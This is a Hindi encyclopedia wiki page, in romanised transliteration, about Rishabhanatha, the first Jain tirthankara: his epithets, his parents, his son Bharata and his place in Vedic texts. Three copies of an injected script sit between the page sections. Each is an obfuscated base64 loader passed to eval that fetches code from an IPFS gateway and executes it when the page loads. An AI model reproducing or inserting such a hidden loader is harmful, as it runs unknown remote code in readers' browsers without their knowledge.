ऋषभनाथ तीर्थंकर

भारत डिस्कवरी प्रस्तुति
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

[[chitr:Seated-Rishabhanath-Jain-Museum-Mathura-38.jpg|thumb|250px|asanasth rrishabhanath
Seated Rishabhanatha
rajakiy jain sangrahalay, mathura]]

  • inamean pratham tirthankar rrishabhadev haian.
  • jain sahity mean inhean prajapati, adibrahma, adinath, brihaddev, purudev, nabhisoonu aur vrishabh namoan se bhi samullekhit kiya gaya hai.
  • yugaranbh mean inhoanne praja ko ajivika ke lie krishi (kheti), masi (likhana-padhana, shikshan), asi (raksha , hetu talavar, lathi adi chalana), shilp, vanijy (vibhinn prakar ka vyapar karana) aur seva- in shatkarmoan (jivanavritiyoan) ke karane ki shiksha di thi, isalie inhean ‘prajapati’  [1], mata ke garbh se ane par hirany (suvarn ratnoan) ki varsha hone se ‘hiranyagarbh’  [2], vimalasoori-[3], dahine pair ke talue mean bail ka chihn hone se ‘rrishabh’, dharm ka pravartan karane se ‘vrishabh’  [4], sharir ki adhik ooanchaee hone se ‘brihaddev’  [5]evan purudev, sabase pahale hone se ‘adinath’  [6] aur sabase pahale mokshamarg ka upadesh karane se ‘adibrahma’  [7]kaha gaya hai.
  • inake pita ka nam nabhiray hone se inhean ‘nabhisoonu’ bhi kaha gaya hai.
  • inaki mata ka nam marudevi tha.
  • ye asamudrant sare bharat (vasudha) ke adhipati the- prithvi ka any shasak koee shasak nahian tha. ant mean virakt hokar v samagr rajapat ko chho dakar dikshapoorvak digambar sadhu ho gaye the.
  • mokshamarg ka pratham upadesh dene se ady tirthankar ( dharmopadeshta) ke roop mean samagr jain sahity mean many haian.
  • bharat inake jyeshth putr the, jo unake rajy ke uttaradhikari to hue hi, pratham samrat bhi the aur jinake nam par hamare rashtr ka nam ‘bharat’ p da.
  • shrimadbhagavat puran [8] mean kaha gaya hai ‘bhagavan rrishabhadev ke apani karmabhoomi ajanabhavarsh mean sau putr prapt hue, jinamean se jyeshth putr sahayogi ‘ bharat’ ko unhoanne apana rajy diya aur unhian ke nam se lok ise ‘bharatavarsh’ kahane lage. [9]isake poorv apane is bharatavarsh ka nam rrishabhadev ke pita nabhiraj ke nam par ‘ ajanabhavarsh’ prasiddh tha.
  • vaidik dharm mean bhi rrishabhadev ko ek avatar ke roop mean mana gaya hai.
  • ‘bhagavat’ mean ‘arhanh’ raja ke roop mean inaka vistrit varnan hai. isamean bharat adi 100 putroan ka kathan jain dharm ki tarah hi kiya gaya hai.
  • ant mean ve digambar (nagn) sadhu hokar sare bharat mean vihar karane ka bhi ullekh kiya gaya hai.
  • rrigved adi prachin vaidik sahity mean bhi inaka adar ke sath sanstavan kiya gaya hai.

vithika

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


tika tippani aur sandarbh

  1. achary samantabhadr, svayambhustotr, shlok 2|
  2. jinasen, mahapuran, 12-95
  3. pumachariyan, 3-68|
  4. a. samantabhadr, svayambhoo stotr, shlok 5|
  5. madanakirti, shasanachatustrianshika, shlok 6, sanpa. d aau. darabari lal kothiya.
  6. manatung, bhaktamar adinath stotr, shlok 1, 25 |
  7. manatung, bhaktamar adinath stotr, shlok 1, 25 |
  8. shrimadbhagavat puran skand-5 adhyay-4
  9. ‘yeshaan khalu mahayogi bharato jyeshthah shreshthagun asidh yenedan varsh bharatamiti vyapadishanti.‘

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah